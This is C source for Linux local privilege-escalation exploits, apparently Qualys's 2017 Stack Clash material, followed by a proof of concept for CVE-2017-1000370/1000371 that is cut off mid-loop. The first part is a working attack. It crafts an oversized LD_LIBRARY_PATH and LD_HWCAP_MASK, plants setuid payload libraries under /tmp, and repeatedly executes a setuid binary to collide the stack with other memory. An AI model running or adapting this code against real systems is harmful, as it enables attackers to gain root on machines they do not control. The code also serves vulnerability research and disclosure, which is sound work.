    for (p = my_auxv; p->a_type != AT_NULL; p++)
        if (p->a_type == type)
            return p->a_un.a_val;
    die();
}

struct elf_info {
    ElfW(Half) type;
    uintptr_t rx_start, rx_end;
    uintptr_t rw_start, rw_end;
};

static struct elf_info
get_elf_info(const char * const binary)
{
    struct elf_info elf = { ET_NONE };
    if (elf.rx_start || elf.rx_end) die();
    if (elf.rw_start || elf.rw_end) die();

    const int fd = open(binary, O_RDONLY);
    if (fd <= -1) die();
    struct stat st;
    if (fstat(fd, &st)) die();
    if (!S_ISREG(st.st_mode)) die();
    if (st.st_size <= 0) die();
    #define SAFESZ ((size_t)64<<20)
    if (st.st_size >= (ssize_t)SAFESZ) die();
    const size_t size = st.st_size;
    uint8_t * const buf = malloc(size);
    if (!buf) die();
    if (read(fd, buf, size) != (ssize_t)size) die();
    if (close(fd)) die();

    if (size <= sizeof(ElfW(Ehdr))) die();
    const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
    if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
    if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
    if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
    if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
    if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die();
    if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
    if (ehdr->e_type != ET_DYN && ehdr->e_type != ET_EXEC) die();
    if (ehdr->e_machine != EM_X86_64) die();
    if (ehdr->e_version != EV_CURRENT) die();
    if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
    if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
    if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
    elf.type = ehdr->e_type;

    int interp = 0;
    unsigned int i;
    for (i = 0; i < ehdr->e_phnum; i++) {
        const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
        if (phdr->p_type == PT_INTERP) interp = 1;
        if (phdr->p_type != PT_LOAD) continue;

        if (phdr->p_offset >= size) die();
        if (phdr->p_filesz > size - phdr->p_offset) die();
        if (phdr->p_filesz > phdr->p_memsz) die();
        if (phdr->p_vaddr != phdr->p_paddr) die();
        if (phdr->p_vaddr >= SAFESZ) die();
        if (phdr->p_memsz >= SAFESZ) die();
        if (phdr->p_memsz <= 0) die();
        if (phdr->p_align != 0x200000) die();

        switch (phdr->p_flags) {
            case PF_R | PF_X:
                if (elf.rx_end) die();
                if (elf.rw_end) die();
                if (phdr->p_vaddr && ehdr->e_type != ET_EXEC) die();
                elf.rx_start = phdr->p_vaddr & ~(PAGESZ-1);
                elf.rx_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
                if (!elf.rx_end) die();
                break;
            case PF_R | PF_W:
                if (!elf.rx_end) die();
                if (elf.rw_end) die();
                elf.rw_start = phdr->p_vaddr & ~(PAGESZ-1);
                elf.rw_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
                if (elf.rw_start <= elf.rx_end) die();
                break;
            default:
                die();
        }
    }
    if (!interp && !strstr(binary, "/ld-linux")) die();
    if (!elf.rx_end) die();
    if (!elf.rw_end) die();
    free(buf);
    return elf;
}

/* There are no hardware capabilities defined.  */
#define my_hwcap_string(idx) ""

struct my_important_hwcaps {
    unsigned long hwcap_mask;
    size_t max_capstrlen;
    size_t pointers;
    size_t strings;
};

struct my_link_map {
    const ElfW(Phdr) * l_phdr;
    ElfW(Half) l_phnum;
    ElfW(Addr) l_addr;
};

struct r_strlenpair
  {
    const char *str;
    size_t len;
  };

/* Return an array of useful/necessary hardware capability names.  */
static struct my_important_hwcaps
my_important_hwcaps (const char * const platform, const size_t platform_len,
                     const uint64_t hwcap, const uint64_t hwcap_mask,
                     const struct my_link_map * sysinfo_map)
{
  static const struct my_important_hwcaps err;
  /* Determine how many important bits are set.  */
  uint64_t masked = hwcap & hwcap_mask;
  size_t cnt = platform != NULL;
  size_t n, m;
  size_t total;
  struct r_strlenpair *result;

  /* Count the number of bits set in the masked value.  */
  for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
    if ((masked & (1ULL << n)) != 0)
      ++cnt;

  /* The system-supplied DSO can contain a note of type 2, vendor "GNU".
     This gives us a list of names to treat as fake hwcap bits.  */

  const char *dsocaps = NULL;
  size_t dsocapslen = 0;
  if (sysinfo_map != NULL)
    {
      const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
      const ElfW(Word) phnum = sysinfo_map->l_phnum;
      uint_fast16_t i;
      for (i = 0; i < phnum; ++i)
        if (phdr[i].p_type == PT_NOTE)
          {
            const ElfW(Addr) start = (phdr[i].p_vaddr
                                      + sysinfo_map->l_addr);
            /* The standard ELF note layout is exactly as the anonymous struct.
               The next element is a variable length vendor name of length
               VENDORLEN (with a real length rounded to ElfW(Word)), followed
               by the data of length DATALEN (with a real length rounded to
               ElfW(Word)).  */
            const struct
            {
              ElfW(Word) vendorlen;
              ElfW(Word) datalen;
              ElfW(Word) type;
            } *note = (const void *) start;
            while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
              {
#define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
                /* The layout of the type 2, vendor "GNU" note is as follows:
                   .long <Number of capabilities enabled by this note>
                   .long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
                   .byte <The bit number for the next capability>
                   .asciz <The name of the capability>.  */
                if (note->type == NT_GNU_HWCAP
                    && note->vendorlen == sizeof "GNU"
                    && !memcmp ((note + 1), "GNU", sizeof "GNU")
                    && note->datalen > 2 * sizeof (ElfW(Word)) + 2)
                  {
                    const ElfW(Word) *p = ((const void *) (note + 1)
                                           + ROUND (sizeof "GNU"));
                    cnt += *p++;
                    ++p;        /* Skip mask word.  */
                    dsocaps = (const char *) p; /* Pseudo-string "<b>name"  */
                    dsocapslen = note->datalen - sizeof *p * 2;
                    break;
                  }
                note = ((const void *) (note + 1)
                        + ROUND (note->vendorlen) + ROUND (note->datalen));
#undef ROUND
              }
            if (dsocaps != NULL)
              break;
          }
    }

  /* For TLS enabled builds always add 'tls'.  */
  ++cnt;

  /* Create temporary data structure to generate result table.  */
  if (cnt < 2) return err;
  if (cnt >= 32) return err;
  struct r_strlenpair temp[cnt];
  m = 0;
  if (dsocaps != NULL)
    {
      /* dsocaps points to the .asciz string, and -1 points to the mask
         .long just before the string.  */
      const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
      size_t len;
      const char *p;
      for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
        {
          uint_fast8_t bit = *p++;
          len = strlen (p);

          /* Skip entries that are not enabled in the mask word.  */
          if (mask & ((ElfW(Word)) 1 << bit))
            {
              temp[m].str = p;
              temp[m].len = len;
              ++m;
            }
          else
            --cnt;
        }
    }
  for (n = 0; masked != 0; ++n)
    if ((masked & (1ULL << n)) != 0)
      {
        temp[m].str = my_hwcap_string (n);
        temp[m].len = strlen (temp[m].str);
        masked ^= 1ULL << n;
        ++m;
      }
  if (platform != NULL)
    {
      temp[m].str = platform;
      temp[m].len = platform_len;
      ++m;
    }

  temp[m].str = "tls";
  temp[m].len = 3;
  ++m;

  assert (m == cnt);

  /* Determine the total size of all strings together.  */
  if (cnt == 1)
    total = temp[0].len + 1;
  else
    {
      total = temp[0].len + temp[cnt - 1].len + 2;
      if (cnt > 2)
        {
          total <<= 1;
          for (n = 1; n + 1 < cnt; ++n)
            total += temp[n].len + 1;
          if (cnt > 3
              && (cnt >= sizeof (size_t) * 8
                  || total + (sizeof (*result) << 3)
                     >= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
            return err;

          total <<= cnt - 3;
        }
    }

  /* The result structure: we use a very compressed way to store the
     various combinations of capability names.  */
  const size_t _sz = 1 << cnt;

  /* Now we are ready to install the string pointers and length.  */
  size_t max_capstrlen = 0;
  n = cnt;
  do
    {
      const size_t mask = 1 << --n;
      for (m = 1 << cnt; m > 0; ) {
        if ((--m & mask) != 0)
          max_capstrlen += temp[n].len + 1;
        break;
      }
    }
  while (n != 0);

  if (hwcap_mask > ULONG_MAX) die();
  const struct my_important_hwcaps ret = {
      .hwcap_mask = hwcap_mask,
      .max_capstrlen = max_capstrlen,
      .pointers = _sz * sizeof (*result),
      .strings = total,
  };
  return ret;
}

static size_t
my_bsearch(const void * const key,
    const void * const base, const size_t nmemb, const size_t size,
    int (* const compar)(const void *, const void *))
{
    if (!key) die();
    if (!size) die();
    if (!compar) die();
    if (nmemb >= SSIZE_MAX / size) die();
    if (!base != !nmemb) die();
    if (!base || !nmemb) return 0;

    size_t low = 0;
    size_t high = nmemb - 1;
    while (low <= high) {
        const size_t mid = low + (high - low) / 2;
        if (mid >= nmemb) die();
        const int cond = compar(key, base + mid * size);
        switch (cond) {
        case 0:
            return mid;
        case -1:
            if (mid <= 0) {
                if (mid != 0) die();
                if (low != 0) die();
                return low;
            }
            high = mid - 1;
            break;
        case +1:
            low = mid + 1;
            break;
        default:
            die();
        }
    }
    if (low > nmemb) die();
    return low;
}

static int
cmp_important_hwcaps(const void * const _a, const void * const _b)
{
    const struct my_important_hwcaps * const a = _a;
    const struct my_important_hwcaps * const b = _b;

    if (a->strings < b->strings) return -1;
    if (a->strings > b->strings) return +1;

    if (a->pointers < b->pointers) return -1;
    if (a->pointers > b->pointers) return +1;

    if (a->max_capstrlen < b->max_capstrlen) return -1;
    if (a->max_capstrlen > b->max_capstrlen) return +1;

    return 0;
}

static void
copy_lib(const char * const src, const char * const dst)
{
    if (!src) die();
    if (*src != '/') die();

    if (!dst) die();
    if (*dst != '/') die();

    const int src_fd = open(src, O_RDONLY);
    if (src_fd <= -1) die();

    const int dst_fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
    if (dst_fd <= -1) die();

    for (;;) {
        char buf[1024];
        const ssize_t rd = read(src_fd, buf, sizeof(buf));
        if (rd == 0) break;
        if (rd <= 0) die();
        const ssize_t wr = write(dst_fd, buf, rd);
        if (wr != rd) die();
    }

    if (fchmod(dst_fd, 0755)) die();
    if (close(dst_fd)) die();
    if (close(src_fd)) die();
}

static void
create_needed_libs(const char * const bin, const char * const dir)
{
    if (!bin) die();
    if (*bin != '/') die();
    if (strspn(bin, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+,-./_") != strlen(bin)) die();

    if (!dir) die();
    if (*dir != '/') die();
    if (dir[strlen(dir)-1] != '/') die();

    char cmd[256];
    if ((unsigned int)snprintf(cmd, sizeof(cmd), "/usr/bin/env - %s --list %s", LDSO, bin)
                                 >= sizeof(cmd)) die();
    FILE * const fp = popen(cmd, "r");
    if (!fp) die();

    char buf[256];
    unsigned int num_libs = 0;
    while (fgets(buf, sizeof(buf), fp) == buf) {
        if (!strchr(buf, '\n')) die();

        const char * const rel_lib = buf + strspn(buf, "\t ");
        if (strncmp(rel_lib, "lib", 3)) continue;

        char * sp = strchr(rel_lib, ' ');
        if (!sp) die();
        if (strncmp(sp, " => /", 5)) die();
        *sp = '\0';
        if (strchr(rel_lib, '/')) die();

        const char * const abs_lib = sp + 4;
        if (*abs_lib != '/') die();
        sp = strchr(abs_lib, ' ');
        if (!sp) die();
        if (strncmp(sp, " (0x", 4)) die();
        *sp = '\0';

        size_t i;
        static const char * const prefixes[] = { "", "/", "/.", "/.." };
        for (i = 0; i < sizeof(prefixes)/sizeof(*prefixes); i++) {

            char tmp_lib[256];
            if ((unsigned int)snprintf(tmp_lib, sizeof(tmp_lib), "%s%s%s", dir, prefixes[i], rel_lib)
                                             >= sizeof(tmp_lib)) die();
            copy_lib(abs_lib, tmp_lib);
        }
        if (!++num_libs) die();
    }
    if (!num_libs) die();
    printf("copied %u lib%s\n", num_libs, num_libs > 1 ? "s" : "");
    if (pclose(fp) != EXIT_SUCCESS) die();
}

int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
  {
    const char * const * p = my_envp;
    while (*p++) ;
    my_auxv = (const void *)p;
  }
    if (my_getauxval(AT_PAGESZ) != PAGESZ) die();

    if (my_argc != 1+2) {
        printf("Usage: %s target binary\n", my_argv[0]);
        size_t i;
        for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
            printf("Target %zu %s\n", i, targets[i].name);
        }
        die();
    }
  {
    const size_t i = strtoul(my_argv[1], NULL, 10);
    if (i >= sizeof(targets)/sizeof(*targets)) die();
    target = targets + i;
    printf("Target %zu %s\n", i, target->name);
  }
    const size_t safe_stack_size = target->CVE_2015_1593 ? 65536 : 32768;
    printf("safe_stack_size %zu\n", safe_stack_size);
    if (safe_stack_size <= SUB_STACK_RAND) die();

    const char * const binary = realpath(my_argv[2], NULL);
    if (!binary) die();
    if (*binary != '/') die();
    if (access(binary, R_OK | X_OK)) die();
    const struct elf_info elf_binary = get_elf_info(binary);
    const struct elf_info elf_interp = get_elf_info(LDSO);
    const struct elf_info elf = (elf_binary.type == ET_DYN && target->offset2lib && !target->jump_ldso_pie) ? elf_binary : elf_interp;
    const size_t jump_ldso_pie = (elf_binary.type == ET_DYN && target->offset2lib && target->jump_ldso_pie) ? (elf_binary.rx_end - elf_binary.rx_start) : 0;
    if (elf.rw_start - elf.rx_end <= target->vdso_vvar) die();

    const char * const slash = strrchr(binary, '/');
    if (!slash) die();
    if (slash <= binary) die();
    const char * const origin = strndup(binary, slash - binary);
    if (!origin) die();
    printf("origin %s (%zu)\n", origin, strlen(origin));

    const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
    if (!platform) die();
    if (strcmp(platform, "x86_64") != 0) die();
    const size_t platform_len = strlen(platform);

    const struct {
        const char * str;
        size_t len;
        size_t repl_len;
    } DSTs[] = {
        #define DST_LIB "LIB"
        { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
        #define DST_PLATFORM "PLATFORM"
        { DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
    };
    size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
  {
    size_t i;
    for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
        if (repl_max < DSTs[i].repl_len)
            repl_max = DSTs[i].repl_len;
    }
  }
    printf("repl_max %zu\n", repl_max);
    if (repl_max < 4) die();

    const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
    if (!sysinfo_dso) die();
    struct my_link_map sysinfo_map = {
        .l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
        .l_phnum = sysinfo_dso->e_phnum,
        .l_addr = ULONG_MAX
    };
  {
    uint_fast16_t i;
    for (i = 0; i < sysinfo_map.l_phnum; ++i) {
        const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
        if (ph->p_type == PT_LOAD) {
            if (sysinfo_map.l_addr == ULONG_MAX)
                sysinfo_map.l_addr = ph->p_vaddr;
        }
    }
  }
    if (sysinfo_map.l_addr == ULONG_MAX) die();
    sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;

    const unsigned long hwcap = my_getauxval(AT_HWCAP);
    if (!hwcap) die();
    struct my_important_hwcaps * important_hwcaps = NULL;
    size_t num_important_hwcaps = 0;
  {
    size_t max_important_hwcaps = 0;
    uint32_t hwcap_mask = 1;
    do {
        if (hwcap_mask & ~hwcap) continue;
        const uint64_t popcount = __builtin_popcount(hwcap_mask);
        if (popcount < 1) die();
        if (popcount > 32) die();

        const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
        if (!ihc.pointers) die();

        const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
        if (idx > num_important_hwcaps) die();

        if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
            if (num_important_hwcaps >= max_important_hwcaps) {
                if (num_important_hwcaps != max_important_hwcaps) die();
                if (max_important_hwcaps >= 65536) die();
                max_important_hwcaps += 256;

                if (num_important_hwcaps >= max_important_hwcaps) die();
                important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
                if (!important_hwcaps) die();
            }
            memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
            important_hwcaps[idx] = ihc;
            num_important_hwcaps++;
        }
        if (!(hwcap_mask % 0x10000000))
            printf("num_important_hwcaps %zu hwcap_mask %x\n", num_important_hwcaps, hwcap_mask);
    } while (++hwcap_mask);
  }
    printf("num_important_hwcaps %zu\n", num_important_hwcaps);

    static struct {
        size_t len, gwr, dst, cnt;
        struct my_important_hwcaps ihc;
    } best = { .ihc = { .pointers = SIZE_MAX } };

    if (strrchr(target->system_dir, '/') != target->system_dir) die();
    const char * const sep_lib = my_asprintf(":%s", target->system_dir);
    const size_t sep_lib_len = strlen(sep_lib);
    if (sep_lib_len >= MALLOC_ALIGN) die();

    #define LLP "LD_LIBRARY_PATH="
    static char llp[MAX_ARG_STRLEN];

    size_t len;
    for (len = sizeof(llp) - sizeof(LLP); len >= MALLOC_ALIGN; len -= MALLOC_ALIGN) {

        size_t gwr;
        for (gwr = MALLOC_ALIGN; gwr <= len - sep_lib_len; gwr += MALLOC_ALIGN) {

            size_t dst;
            for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {

                const size_t cnt = (len - sep_lib_len - gwr) / (1 + DSTs[dst].len + 1);
                const size_t gpj = (len + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
                const size_t bwr = (cnt * (DSTs[dst].repl_len + 1)) + (len - gwr - cnt * (1 + DSTs[dst].len + 1)) + 1;

                size_t idx;
                for (idx = 0; idx < num_important_hwcaps; idx++) {
                    const struct my_important_hwcaps ihc = important_hwcaps[idx];
                    if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
                    if (ihc.pointers <= 2 * SUB_STACK_RAND) continue;

                    const size_t nup = ((ihc.pointers + ihc.strings + PAGESZ-1) & ~(PAGESZ-1)) + (target->extra_page * PAGESZ);
                    if (nup >= (elf.rw_start - elf.rx_end) - target->vdso_vvar) continue;

                    const size_t ihc_strings_start = ihc.pointers;
                    const size_t ihc_strings_end = ihc_strings_start + ihc.strings;

                    const size_t gpj_base = nup + target->vdso_vvar + (elf.rw_end - elf.rw_start) + jump_ldso_pie + PAGESZ + safe_stack_size;
                    const size_t gpj_base_lo = gpj_base - SUB_STACK_RAND;
                    const size_t gpj_base_hi = gpj_base + SUB_STACK_RAND;

                    if (gpj_base_lo <= gpj) continue;
                    if (gpj_base_hi - gpj >= ihc_strings_start) continue;
                    if (gpj_base_lo - gpj + gwr <= ihc_strings_start) continue;
                    if (gpj_base_hi - gpj + gwr + bwr >= ihc_strings_end) continue;

                    if (best.ihc.pointers <= ihc.pointers) continue;
                    best.ihc = ihc;
                    best.len = len;
                    best.gwr = gwr;
                    best.dst = dst;
                    best.cnt = cnt;
                    printf("max %zu ihcp %zu ihcs %zu len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu\n",
                        ihc.max_capstrlen, ihc.pointers, ihc.strings, len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len);
                }
            }
        }
    }
    if (best.ihc.pointers >= SIZE_MAX) die();

    if (INITIAL_STACK_EXPANSION <= safe_stack_size) die();
    const size_t pads = (INITIAL_STACK_EXPANSION - safe_stack_size) / sizeof(char *);
    static char pad[MAX_ARG_STRLEN];
    memset(pad, ' ', sizeof(pad)-1);

  {
    char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
    memset(cp, '/', best.len);
    if (best.len <= sep_lib_len) die();
    memcpy(cp + best.len - sep_lib_len, sep_lib, sep_lib_len);
    if (*(cp + best.len)) die();

    #define LIB_TO_TMP "/../tmp/"
    if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();

    if (!best.gwr) die();
    if (best.gwr >= best.len) die();
    if (best.gwr % MALLOC_ALIGN) die();
    size_t i;
    for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
        cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
    }
    if (!best.cnt) die();
    if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
    for (i = 0; i < best.cnt; i++) {
        *cp++ = '$';
        cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
        *cp++ = '/';
    }
    if (cp >= llp + sizeof(llp)) die();
    if (llp[sizeof(llp)-1]) die();
    if (strlen(llp) != sizeof(LLP)-1 + best.len) die();
  }

    #define LHCM "LD_HWCAP_MASK="
    static char lhcm[64];
    if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
                                  >= sizeof(lhcm)) die();

    const size_t args = 1 + (target->jump_ldso_pie ? 0 : pads) + 1;
    char ** const argv = calloc(args, sizeof(char *));
    if (!argv) die();
  {
    char ** ap = argv;
    *ap++ = (char *)binary;
    if (!target->jump_ldso_pie) {
        size_t i;
        for (i = 0; i < pads; i++) {
            *ap++ = pad;
        }
    }
    *ap++ = NULL;
    if (ap != argv + args) die();
  }

    const size_t envs = 3 + (target->jump_ldso_pie ? pads : 0) + 1;
    char ** const envp = calloc(envs, sizeof(char *));
    if (!envp) die();
  {
    char ** ep = envp;
    *ep++ = llp;
    *ep++ = lhcm;
    #define REL_LA "a"
    #define LDA "LD_AUDIT="
    #define LDP "LD_PRELOAD="
    *ep++ = target->disable_audit ? LDP REL_LA : LDA REL_LA;
    if (target->jump_ldso_pie) {
        size_t i;
        for (i = 0; i < pads; i++) {
            *ep++ = pad;
        }
    }
    *ep++ = NULL;
    if (ep != envp + envs) die();
  }

  {
    const size_t MIN_GAP = target->CVE_2015_1593 ?
        (128*1024*1024UL + (((-1U ) & 0x3fffff) << 12)) :
        (128*1024*1024UL + (((-1UL) & 0x3fffff) << 12)) ;
    printf("MIN_GAP %zu\n", MIN_GAP);

    if (pads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die();
    const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP };
    if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
  }

    int pipefd[2];
    if (pipe(pipefd)) die();
    if (close(pipefd[0])) die();
    pipefd[0] = -1;
    if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();

  {
    const char * const abs_la_dir = my_asprintf("/%s/%s/", target->system_dir, LIB_TO_TMP);
    const char * const abs_las[] = {
        my_asprintf("%s%s%s", abs_la_dir, "", REL_LA),
        my_asprintf("%s%s%s", abs_la_dir, "/", REL_LA),
        my_asprintf("%s%s%s", abs_la_dir, "/.", REL_LA),
        my_asprintf("%s%s%s", abs_la_dir, "/..", REL_LA),
    };
    size_t i;
    for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
        const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
        if (fd <= -1) die();
      {
        struct stat st;
        if (fstat(fd, &st)) die();
        if (!S_ISREG(st.st_mode)) die();
        if (st.st_uid != getuid()) die();
        if (st.st_uid != geteuid()) die();
      }
      {
        static const
        #include "la.so.h"
        if (sizeof(la_so) != la_so_len) die();
        if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
      }
        if (fchmod(fd, 04755)) die();
        if (close(fd)) die();
    }
    if (target->disable_audit) create_needed_libs(binary, abs_la_dir);
  }

    size_t try;
    for (try = 1; try; try++) {
        if (fflush(stdout)) die();
        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) {
            if (dup2(pipefd[1], 1) != 1) die();
            if (dup2(pipefd[1], 2) != 2) die();
            execve(*argv, argv, envp);
            die();
        }
        int status = 0;
        struct timeval start, stop, diff;
        if (gettimeofday(&start, NULL)) die();
        if (waitpid(pid, &status, WUNTRACED) != pid) die();
        if (gettimeofday(&stop, NULL)) die();
        timersub(&stop, &start, &diff);
        printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);

        if (WIFSIGNALED(status)) {
            printf("signal %d\n", WTERMSIG(status));
            switch (WTERMSIG(status)) {
                case SIGPIPE:
                case SIGSEGV:
                case SIGBUS:
                    break;
                default:
                    die();
            }
        } else if (WIFEXITED(status)) {
            printf("exited %d\n", WEXITSTATUS(status));
            die();
        } else if (WIFSTOPPED(status)) {
            printf("stopped %d\n", WSTOPSIG(status));
            die();
        } else {
            printf("unknown %d\n", status);
            die();
        }
    }
    die();
}
            
/*
 * Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

#define MAX_STACK_SIZE ((size_t)1<<30)
#define MAX_ARG_STRLEN ((size_t)128<<10)
#define MIN_ARGC 1024

static void
analyze_mappings(const char * const binary)
{
    if (!binary) die();
    if (strchr(binary, ' ')) die();
    int rval = EXIT_FAILURE;
    int dump = 0;

    const int fd = open("/proc/self/maps", O_RDONLY);
    if (fd <= -1) die();

    static char buf[4096] = " ";
    char * cp = buf;
    for (;;) {
        if (cp >= buf + sizeof(buf)) die();
        const ssize_t nr = read(fd, cp, buf + sizeof(buf) - cp);
        if (nr <= 0) {
            if (nr == 0) break;
            if (nr != -1) die();
            if (errno != EAGAIN && errno != EINTR) die();
            continue;
        }
        cp += nr;
    }
    *cp = '\0';
    if (memchr(buf, '\0', sizeof(buf)) != cp) die();

    size_t hi_bin = 0;
    size_t lo_lib = 0;
    size_t lo_heap = 0;
    size_t lo_stack = 0;
    const char * line = buf;
    for (;;) {
        char * const nl = strchr(line, '\n');
        if (!nl) die();
        *nl = '\0';

        cp = NULL;
        const size_t lo = strtoul(line, &cp, 16);
        if (cp <= line || *cp != '-') die();
        if (lo <= 0) die();

        line = cp + 1;
        cp = NULL;
        const size_t hi = strtoul(line, &cp, 16);
        if (cp <= line || *cp != ' ') die();
        if (hi <= lo) die();

        cp = strrchr(cp + 1, ' ');
        if (!cp) die();
        cp++;

        if (!strcmp(cp, binary)) {
            hi_bin = hi;
            if (lo == 0x08048000) {
                fprintf(stderr, "Please recompile with -fpie -pie\n");
                die();
            }
        } else if (!strcmp(cp, "[heap]")) {
            if (!lo_heap) lo_heap = lo;
            else {
                if (lo_stack) die();
                lo_stack = lo;
                dump = 1;
            }
        } else if (!strcmp(cp, "[stack]")) {
            if (!lo_stack) lo_stack = lo;
            else {
                die();
            }
        } else if (*cp == '/') {
            if (!lo_lib) lo_lib = lo;
        }

        *nl = '\n';
        line = nl + 1;
        if (*line == '\0') break;
    }
    if (!hi_bin) die();
    if (!lo_lib) die();
    if (!lo_stack) {
        if (!lo_heap) die();
        lo_stack = lo_heap;
        lo_heap = 0;
    }

    if (hi_bin <= lo_lib && lo_lib - hi_bin <= 4096) {
        fprintf(stderr, "CVE-2017-1000370 triggered\n");
        rval = EXIT_SUCCESS;
        dump = 1;
    }
    if (hi_bin <= lo_stack && lo_stack - hi_bin <= 4096) {
        fprintf(stderr, "CVE-2017-1000371 triggered\n");
        rval = EXIT_SUCCESS;
        dump = 1;
    }
    if (dump) {
        const ssize_t len = strlen(buf);
        if (len <= 0) die();
        if (write(STDERR_FILENO, buf, len) != len) die();
    }
    if (close(fd)) die();
    exit(rval);
}

int
main(const int my_argc, const char * const my_argv[])
{
    if (my_argc >= MIN_ARGC) {
        analyze_mappings(*my_argv);
        die();
    }

    size_t stack_size = MAX_STACK_SIZE;
    if (my_argc == 2) stack_size = strtoul(my_argv[1], NULL, 0);
    else if (my_argc != 1) die();
    if (stack_size > MAX_STACK_SIZE) die();

    static char arg[MAX_ARG_STRLEN] = " ";
    memset(arg, ' ', sizeof(arg)-1);

    const size_t argc = 1 + stack_size / (sizeof(arg) + sizeof(char *));
    if (argc < MIN_ARGC) die();

    char ** const argv = calloc(argc + 1, sizeof(char *));
    if (!argv) die();

    char * const binary = realpath(*my_argv, NULL);
    if (!binary) die();
    *argv = binary;

    size_t i;
    for (i = 1; i < argc; i++) argv[i] = arg;
    if (i != argc) die();
    if (argv[i]) die();

    for (i = 1; i; i++) {
        fprintf(stderr, "Run #%zu...\n", i);
        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) {
            static const struct rlimit stack_limit = { RLIM_INFINITY, RLIM_INFINITY };
            if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
            execve(*argv, argv, NULL);
            die();
        }
        int status = 0;
        if (waitpid(pid, &status, WUNTRACED) != pid) die();
        if (!WIFEXITED(status)) die();
